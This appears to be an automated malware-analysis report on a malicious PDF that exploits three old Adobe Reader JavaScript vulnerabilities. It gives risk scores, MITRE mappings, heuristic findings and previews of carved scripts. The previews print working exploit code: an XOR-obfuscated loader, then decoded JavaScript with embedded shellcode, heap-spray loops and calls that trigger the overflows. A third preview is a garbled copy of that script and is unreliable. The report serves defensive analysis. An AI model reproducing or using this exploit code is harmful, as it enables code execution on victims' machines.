MALICIOUS
476
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
This PDF file contains JavaScript that exploits multiple known vulnerabilities in Adobe Reader (CVE-2007-5659, CVE-2009-0927, CVE-2009-4324). The JavaScript is obfuscated and appears to be designed to download and execute a second-stage payload, likely shellcode, as indicated by the ClamAV detection 'Js.Exploit.Shellcode-18'. The specific URLs or hosts for the second-stage download were not fully reconstructed from the provided script excerpts.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 9
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0039_000.jsab8997041d178b8648e4b8bda1a44713314c6878d1d579f7515b9a316974148b |
pdf-javascript-stream | PDF /JS object 39 at offset 0x16F | 28073 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
a1lZ0wpc="BU37na1T=[197,214,205,192,215,202,204,205,131,197,202,219,252,202,2"; a1lZ0wpc+= "15,139,218,194,209,208,211,143,207,198,205,138,216,212,20"; a1lZ0wpc+= "3,202,207,198,139,218,194,209,208,211,141,207,198,205,196"; a1lZ0wpc+= ",215,203,137,145,159,207,198,205,138,216,218,194,209,208,"; a1lZ0wpc+= "211,136,158,218,194,209,208,211,152,222,218,194,209,208,2"; a1lZ0wpc+= "11,158,218,194,209,208,211,141,208,214,193,208,215,209,20"; a1lZ0wpc+= "2,205,196,139,147,143,207,198,205,140,145,138,152,209,198"; a1lZ0wpc+= ",215,214,209,205,131,218,194,209,208,211,152,222,174,169,"; a1lZ0wpc+= "197,214,205,192,215,202,204,205,131,205,198,212,211,207,1"; a1lZ0wpc+= "94,218,198,209,139,138,216,174,169,213,194,209,131,208,20"; a1lZ0wpc+= "3,198,207,207,192,204,199,198,131,158,131,214,205,198,208"; a1lZ0wpc+= ",192,194,211,198,139,129,134,214,146,146,230,225,134,214,"; a1lZ0wpc+= "151,225,150,225,134,214,224,154,144,144,134,214,155,146,1"; a1lZ0wpc+= "49,149,134,214,226,229,224,154,134,214,155,147,147,146,13"; a1lZ0wpc+= "4,214,147,225,144,151,134,214,230,145,226,149,134,214,230"; a1lZ0wpc+= ",225,229,226,134,214,230,155,147,150,134,214,229,229,230,"; a1lZ0wpc+= "226,134,214,229,229,229,229,134,214,148,224,151,229,134,2"; a1lZ0wpc+= "14,226,149,226,149,134,214,229,154,226,149,134,214,147,14"; a1lZ0wpc+= "8,224,145,134,214,226,149,154,149,134,214,226,149,226,149"; a1lZ0wpc+= ",134,214,230,149,145,231,134,214,145,231,226,226,134,214,"; a1lZ0wpc+= "225,226,231,149,134,214,145,231,147,225,134,214,226,230,2"; a1lZ0wpc+= "24,230,134,214,231,149,145,231,134,214,145,231,155,149,13"; a1lZ0wpc+= "4,214,145,149,226,149,134,214,224,231,154,155,134,214,150"; a1lZ0wpc+= ",150,231,144,134,214,230,147,230,147,134,214,154,155,145,"; a1lZ0wpc+= "149,134,214,231,144,224,144,134,214,230,147,151,226,134,2"; a1lZ0wpc+= "14,145,149,230,147,134,214,231,151,154,155,134,214,150,14"; a1lZ0wpc+= "6,231,144,134,214,230,147,230,147,134,214,154,155,145,149"; a1lZ0wpc+= ",134,214,231,144,224,155,134,214,145,231,150,149,134,214,"; a1lZ0wpc+= "224,224,150,146,134,214,229,229,226,150,134,214,229,231,1"; a1lZ0wpc+= "51,230,134,214,226,149,226,149,134,214,151,151,226,149,13"; a1lZ0wpc+= "4,214,224,230,150,229,134,214,224,155,224,154,134,214,226"; a1lZ0wpc+= ",149,226,149,134,214,231,144,224,230,134,214,224,226,231,"; a1lZ0wpc+= "151,134,214,229,145,224,225,134,214,225,147,150,154,134,2"; a1lZ0wpc+= "14,151,230,145,231,134,214,230,144,151,230,134,214,226,14"; a1lZ0wpc+= "9,226,149,134,214,224,230,226,149,134,214,154,150,224,226"; a1lZ0wpc+= ",134,214,226,149,154,151,134,214,231,150,224,230,134,214,"; a1lZ0wpc+= "224,144,224,230,134,214,229,145,224,226,134,214,225,147,1"; a1lZ0wpc+= "50,154,134,214,151,230,145,231,134,214,154,148,151,230,13"; a1lZ0wpc+= "4,214,226,149,226,149,134,214,145,150,226,149,134,214,230"; a1lZ0wpc+= ",149,151,226,134,214,148,226,145,231,134,214,224,224,229,"; a1lZ0wpc+= "150,134,214,150,154,230,149,134,214,226,145,229,147,134,2"; a1lZ0wpc+= "14,226,145,149,146,134,214,224,148,226,150,134,214,224,14"; a1lZ0wpc+= "4,155,155,134,214,224,147,231,230,134,214,230,145,149,146"; a1lZ0wpc+= ",134,214,226,145,226,150,134,214,226,149,224,144,134,214,"; a1lZ0wpc+= "149,149,154,150,134,214,229,149,229,149,134,214,229,146,2"; a1lZ0wpc+= "29,150,134,214,150,154,229,149,134,214,226,226,229,147,13"; a1lZ0wpc+= "4,214,148,226,145,231,134,214,229,149,229,149,134,214,229"; a1lZ0wpc+= ",150,229,149,134,214,229,149,229,149,134,214,229,147,150,"; a1lZ0wpc+= "154,134,214,150,154,225,149,134,214,226,230,229,147,134,2"; a1lZ0wpc+= "14,229,147,229,148,134,214,231,144,145,231,134,214,145,23"; a1lZ0wpc+= "1,154,226,134,214,155,155,231,145,134,214,226,150,231,230"; a1lZ0wpc+= ",134,214,229,147,150,144,134,214,231,147,145,231,134,214,"; a1lZ0wpc+= "226,150,155,149,134,214,154,150,150,144,134,214,230,229,1"; a1lZ0wpc+= "49,229,134,214,147,225,230,148,134,214,149,144,226,150,13"; a1lZ0wpc+= "4,214,148,231,154,150,134,214,146,155,226,154,134,214,154"; a1lZ0wpc+= ",224,225,149,134,214,231,145,148,147,134,214,149,148,226,"; a1lZ0wpc+= "230,134,214,226,225,149,231,134,214,148,224, ... (truncated) |
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legacy_pdfkit_stage_000.jsc47fc4af534c1f810d5859959156c7574d29ffe270793433fe4702682619d044 |
deobfuscated-js | numeric array XOR decoded JavaScript at offset 0x16F | 5488 bytes |
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Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}
function newplayer(){
var shellcode = unescape("%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF053%uD02D%uA586%u9553%uEF6F%u0BE7%u63A5%u7D95%u18A9%u9CB6%uD270%u67AE%uAB6D%u7CA5%u4DE6%u9D57%uD3B9%uF841%uF82D%uA582%uC07B%uAA2D%u2DED%uBAF8%u7BA5%uA22D%uA52D%u0D63%uFFF8%u4E65%u5987%u5959%uE828%u4AA8%u6C95%uFD2C%u7ED8%uD544%uBC90%uD689%u1DF8%uBD47%uD2CE%uD6D2%u899C%uD189%uD1D1%uC588%uCFCA%uCDC5%uC3D4%uD4C1%uD2C3%uC988%uC1D4%uDE89%u949F%u89D5%uC5D3%u9497%uDED0%u9296%uD089%uCBC7%u93CF%u90D0%uD688%uD6CE%uD599%uCAD6%uD69B%uC0C2%uC8F9%uD1C3%uCAF6%uDFC7%uD4C3%uC080%u9BCE%u00A6");
var block = unescape("%u0c0c%u0c0c");
var GDagaCuyNfRSFzaSZLO = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u514e%u4865%u4844%u724f%u4a6e%u6d43%u4b51%u4b79%u7156%u4d41%u5944%u596b%u7979%u625a%u626f%u7a6e%u634e%u4a4d%u6341%u6253%u4154%u5670%u5543%u4273%u4c51%u576d%u5772%u5670");
while(block.length <= 32768) block+=block;
block=block.substring(0,32768 - shellcode.length);
memory=new Array();for(i=0;i<0x2000;i++) {memory[i]= block + shellcode;}
util.printd("rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC", new Date());
util.printd("SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd(GDagaCuyNfRSFzaSZLO, new Date());}
function collab_email(){var shellcode=unescape("%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF053%uD02D%uA586%u9553%uEF6F%u0BE7%u63A5%u7D95%u18A9%u9CB6%uD270%u67AE%uAB6D%u7CA5%u4DE6%u9D57%uD3B9%uF841%uF82D%uA582%uC07B%uAA2D%u2DED%uBAF8%u7BA5%uA22D%uA52D%u0D63%uFFF8%u4E65%u5987%u5959%uE828%u4AA8%u6C95%uFD2C%u7ED8%uD544%uBC90%uD689%u1DF8%uBD47%uD2CE%uD6D2%u899C%uD189%uD1D1%uC588%uCFCA%uCDC5%uC3D4%uD4C1%uD2C3%uC988%uC1D4%uDE89%u949F%u89D5%uC5D3%u9497%uDED0%u9296%uD089%uCBC7%u93CF%u90D0%uD688%uD6CE%uD599%uCAD6%uD69B%uC0C2%uC3F9%uC7CB%uCACF%uC080%u9BCE%u00A6");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u11EB%u4B5B%uC933%u8166%uAFC9%u8001%u0B34%uE2A6%uEBFA%uE805%uFFEA%uFFFF%u7C4F%uA6A6%uF9A6%u07C2%uA696%uA6A6%uE62D%u2DAA%uBAD6%u2D0B%uAECE%uD62D%u2D86%u26A6%uCD98%u55D3%uE0E0%u9826%uD3C3%uE04A%u26E0%uD498%u51D3%uE0E0%u9826%uD3C8%u2D56%uCC51%uFFA5%uFD4E%uA6A6%u44A6%uCE5F%uC8C9%uA6A6%uD3CE%uCAD4%uF2CB%uB059%u4E2D%uE34E%uA6A6%uCEA6%u95CA%uA694%uD5CE%uC3CE%uF2CA%uB059%u4E2D%u974E%uA6A6%u25A6%uE64A%u7A2D%uCCF5%u59E6%uA2F0%uA261%uC7A5%uC388%uC0DE%uE261%uA2A5%uA6C3%u6695%uF6F6%uF1F5%u59F6%uAAF0%u7A2D%uF6F6%uF5F6%uF6F6%uF059%u59B6%uAEF0%uF0F7%uD32D%u2D9A%u88D2%uA5DE%uF0
... (truncated)
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legacy_pdfkit_stage_001.jse668da4d85d7d4c6f6492f752208c571bbdc9808b421aca96216bce70bbf7a89 |
deobfuscated-js | numPages XOR decoded JavaScript at offset 0x16F | 5488 bytes |
Preview scriptFirst 1,000 lines of the extracted script
FUNCTION FIX IT YARSP LEN [WHILE YARSP LENGTH
LEN [YARSP YARSP ]YARSP YARSP SUBSTRING LEN RETURN YARSP ]-*FUNCTION NEWPLAYER [-*VAR SHELLCODE UNESCAPE U eb U b b Uc U Uafc U U b Ue a Uebfa Ue Uffea Uffff U c f Ua a Uf a U c Ua Ua a Ue d U daa Ubad U d b Uaece Ud d U d U a Ucd U d Ue e U Ud c Ue a U e Ud U d Ue e U Ud c U d Ucc Uffa Ufd e Ua a U a Uce f Uc c Ua a Ud ce Ucad Uf cb Ub U e d Ue e Ua a Ucea U ca Ua Ud ce Uc ce Uf ca Ub U e d U e Ua a U a Ue a U a d Uccf U e Ua f Ua Uc a Uc Uc de Ue Ua a Ua c U Uf f Uf f U f Uaaf U a d Uf f Uf f Uf f Uf U b Uaef Uf f Ud d U d a U d Ua de Uf Ud d Ua U Uef f U be U a U d U a U cb Ud U ae Uab d U ca U de U d Ud b Uf Uf d Ua Uc b Uaa d U ded Ubaf U ba Ua d Ua d U d Ufff U e U U Ue U aa U c Ufd c U ed Ud Ubc Ud U df Ubd Ud ce Ud d U c Ud Ud d Uc Ucfca Ucdc Uc d Ud c Ud c Uc Uc d Ude U f U d Uc d U Uded U Ud Ucbc U cf U d Ud Ud ce Ud Ucad Ud b Uc c Uc f Ud c Ucaf Udfc Ud c Uc U bce U a -*VAR BLOCK UNESCAPE U C C U C C -*VAR gdAGAcUYnFrsfZAszlo UNESCAPE U C C U C C U C C U C C U C C U C C U C C U C C U E U U U F U A E U D U B U B U U D U U B U U A U F U A E U E U A D U U U U U U U C U D U U -*WHILE BLOCK LENGTH BLOCK BLOCK -*BLOCK BLOCK SUBSTRING
SHELLCODE LENGTH -*MEMORY NEW aRRAY FOR I I X I [MEMORY{I} BLOCK SHELLCODE ]-*UTIL PRINTD RLPpPJtxxiNCuHWAGcZCUhFMKZoBbszdgnDc NEW dATE -*UTIL PRINTD sOTsXnqVmQknJjKixIOkLMFzyFMIpgGgnnkN NEW dATE -*TRY [THIS MEDIA NEWpLAYER NULL ] CATCH E []-*UTIL PRINTD gdAGAcUYnFrsfZAszlo NEW dATE ]-*-*FUNCTION COLLAB EMAIL [VAR SHELLCODE UNESCAPE U eb U b b Uc U Uafc U U b Ue a Uebfa Ue Uffea Uffff U c f Ua a Uf a U c Ua Ua a Ue d U daa Ubad U d b Uaece Ud d U d U a Ucd U d Ue e U Ud c Ue a U e Ud U d Ue e U Ud c U d Ucc Uffa Ufd e Ua a U a Uce f Uc c Ua a Ud ce Ucad Uf cb Ub U e d Ue e Ua a Ucea U ca Ua Ud ce Uc ce Uf ca Ub U e d U e Ua a U a Ue a U a d Uccf U e Ua f Ua Uc a Uc Uc de Ue Ua a Ua c U Uf f Uf f U f Uaaf U a d Uf f Uf f Uf f Uf U b Uaef Uf f Ud d U d a U d Ua de Uf Ud d Ua U Uef f U be U a U d U a U cb Ud U ae Uab d U ca U de U d Ud b Uf Uf d Ua Uc b Uaa d U ded Ubaf U ba Ua d Ua d U d Ufff U e U U Ue U aa U c Ufd c U ed Ud Ubc Ud U df Ubd Ud ce Ud d U c Ud Ud d Uc Ucfca Ucdc Uc d Ud c Ud c Uc Uc d Ude U f U d Uc d U Uded U Ud Ucbc U cf U d Ud Ud ce Ud Ucad Ud b Uc c Uc f Uc cb Ucacf Uc U bce U a VAR MEM ARRAY NEW aRRAY VAR CC X C C C C VAR ADDR X VAR SC LEN SHELLCODE LENGTH
VAR LEN ADDR
SC LEN X VAR YARSP UNESCAPE U U YARSP FIX IT YARSP LEN VAR COUNT CC
X ADDR FOR VAR COUNT COUNT COUNT COUNT [MEM ARRAY{COUNT} YARSP SHELLCODE ]-*VAR OVERFLOW UNESCAPE U C C U C C WHILE OVERFLOW LENGTH [OVERFLOW OVERFLOW ]-*THIS COLLABsTORE cOLLAB COLLECTeMAILiNFO [SUBJ MSG OVERFLOW] ]-*-*FUNCTION COLLAB GETICON [IF APP DOC cOLLAB GETiCON [VAR ARRY NEW aRRAY VAR VVPETHYA UNESCAPE U eb U b b Uc U Uafc U U b Ue a Uebfa Ue Uffea Uffff U c f Ua a Uf a U c Ua Ua a Ue d U daa Ubad U d b Uaece Ud d U d U a Ucd U d Ue e U Ud c Ue a U e Ud U d Ue e U Ud c U d Ucc Uffa Ufd e Ua a U a Uce f Uc c Ua a Ud ce Ucad Uf cb Ub U e d Ue e Ua a Ucea U ca Ua Ud ce Uc ce Uf ca Ub U e d U e Ua a U a Ue a U a d Uccf U e Ua f Ua Uc a Uc Uc de Ue Ua a Ua c U Uf f Uf f U f Uaaf U a d Uf f Uf f Uf f Uf U b Uaef Uf f Ud d U d a U d Ua de Uf
... (truncated)
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